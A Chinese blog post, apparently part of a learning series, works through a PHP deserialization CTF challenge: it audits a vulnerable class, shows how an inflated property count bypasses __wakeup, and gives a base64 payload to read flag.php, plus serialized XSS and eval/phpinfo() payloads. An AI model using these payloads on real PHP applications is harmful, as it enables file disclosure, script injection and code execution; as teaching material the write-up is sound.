PHP反序列化CTF例题
滲透學(xué)習(xí)
不安全的反序列化之PHP反序列化
文章目錄
- 滲透學(xué)習(xí)
- 前言
- *本文只做學(xué)習(xí)用途,嚴(yán)禁利用本文提到的技術(shù)進(jìn)行非法攻擊,否則后果自負(fù),本人不承擔(dān)任何責(zé)任。*
- 一、CTF例題
- 二、PHP反序列化漏洞和XSS跨站腳本
- 總結(jié)
前言
本系列用于記錄本人滲透學(xué)習(xí)的過(guò)程,主要內(nèi)容圍繞Owasp TOP 10展開。
接上篇不安全的反序列化之反序列化基礎(chǔ)用簡(jiǎn)單案例接觸了PHP反序列化,但對(duì)該漏洞的利用和實(shí)際場(chǎng)景淺嘗輒止 。這篇將會(huì)用代碼審計(jì)的方式分析一道典型的存在PHP反序列化漏洞的案例,加深對(duì)魔術(shù)方法等相關(guān)知識(shí)的理解。另外,還會(huì)和xss跨站腳本的知識(shí)進(jìn)行融合。
本文只做學(xué)習(xí)用途,嚴(yán)禁利用本文提到的技術(shù)進(jìn)行非法攻擊,否則后果自負(fù),本人不承擔(dān)任何責(zé)任。
一、CTF例題
學(xué)習(xí)案例
class SoFun{ protected $file='index.php';function __destruct(){ if(!empty($this->file)) {if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)show_source(dirname (__FILE__).'/'.$this ->file);else die('Wrong filename.');}} function __wakeup(){ $this-> file='index.php'; } public function __toString(){return '' ;}} if (!isset($_GET['file'])){ show_source('index.php'); } else{ $file=base64_decode( $_GET['file']); echo unserialize($file ); } ?> #<!--key in flag.php-->代碼審計(jì):
根據(jù)提示,key在flag.php中,而想要獲得文件中內(nèi)容,只能靠語(yǔ)句show_source(dirname (__FILE__).'/'.$this ->file);。
發(fā)現(xiàn)該題用到了__destruct等魔術(shù)方法,可以根據(jù)其性質(zhì)進(jìn)行漏洞利用(詳見上一篇文章)
常規(guī)思路是利用反序列化的方式POST"file"參數(shù)將讀取的文件從index.php替換成flag.php,然后利用__destruct的自動(dòng)執(zhí)行讀取flag.php中的內(nèi)容。
但是在反序列化執(zhí)行時(shí)會(huì)自動(dòng)執(zhí)行__wakeup,其作用是將文件再設(shè)為index.php
解決方案:
顯然我們需要利用一種方法繞過(guò)__wakeup方法,而當(dāng)序列化字符串中,表示對(duì)象屬性個(gè)數(shù)的值大于實(shí)際屬性個(gè)數(shù)時(shí),那么就會(huì)跳過(guò)wakeup方法的執(zhí)行。比如:
實(shí)際情況:O:7:”Student”:1:{S:4:”name”;s:8:”zhangsan”;}
Payload:O:7:”Student”:2:{S:4:”name”;s:8:”zhangsan”;}
Payload對(duì)象屬性個(gè)數(shù)為2,而實(shí)際屬性個(gè)數(shù)為1,那么就會(huì)掉入漏洞,從而跳過(guò)wakeup()方法。
Payload
根據(jù)上篇文章所學(xué),易得反序列化語(yǔ)句為O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}
值得注意的是,file是protected屬性,因此需要用\00*\00來(lái)表示,\00代表ascii為0的值。
此題還需要一次Base64編碼,結(jié)果為:
Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
該P(yáng)HP反序列化漏洞的案例其實(shí)來(lái)源于16年SugarCRM v6.5.23中
SugarCRM(http://www.sugarcrm.com/ )是一套開源的客戶關(guān)系管理系統(tǒng)。研究者發(fā)現(xiàn)在其<=6.5.23的版本中存在反序列化漏洞,程序?qū)粽邜阂鈽?gòu)造的序列化數(shù)據(jù)進(jìn)行了反序列化的處理,從而使攻擊者可以在未授權(quán)狀態(tài)下執(zhí)行任意代碼。
有興趣的可以點(diǎn)擊了解
二、PHP反序列化漏洞和XSS跨站腳本
當(dāng)嘗試序列化一段xss代碼的時(shí)候,當(dāng)它進(jìn)行反序列化的時(shí)候會(huì)自動(dòng)執(zhí)行xss
<?php$a="test"; //字符串$arr = array('j' => 'jack' ,'r' => 'rose'); //數(shù)組class A{public $test="<img src=1 οnerrοr=alert(1)>";}echo "序列化:";echo "</br>";$aa=serialize($a);print_r($aa);echo "</br>";$arr_a=serialize($arr);print_r($arr_a);echo "</br>";$class1 = new A(); //對(duì)象$class_a=serialize($class1);print_r($class_a);echo "<br/>";echo "反序列化:";echo "<br/>";print_r(unserialize($aa));echo "</br>";print_r(unserialize($arr_a));echo "</br>";print_r(unserialize($class_a)); ?>執(zhí)行結(jié)果:
在__wakeup中一樣存在類似的漏洞:
使用payload:O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}一樣會(huì)造成XSS攻擊
而如果__wakeup中不是echo $this->test; ,是eval(*)那么就是任意代碼執(zhí)行則會(huì)造成更嚴(yán)重的后果。
比如:
構(gòu)造payload:O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}即可獲得php內(nèi)置信息
總結(jié)
以上介紹了一道比較綜合的CTF題目對(duì)PHP反序列化漏洞有一個(gè)更清晰化的認(rèn)識(shí),這道題難度不算高,但對(duì)代碼審計(jì)能力有著一定的要求。
總結(jié)
以上是生活随笔為你收集整理的PHP反序列化CTF例题的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 计算机组装与维护实训指导书,《计算机组装
- 下一篇: twig模板引擎使用php,Twig模板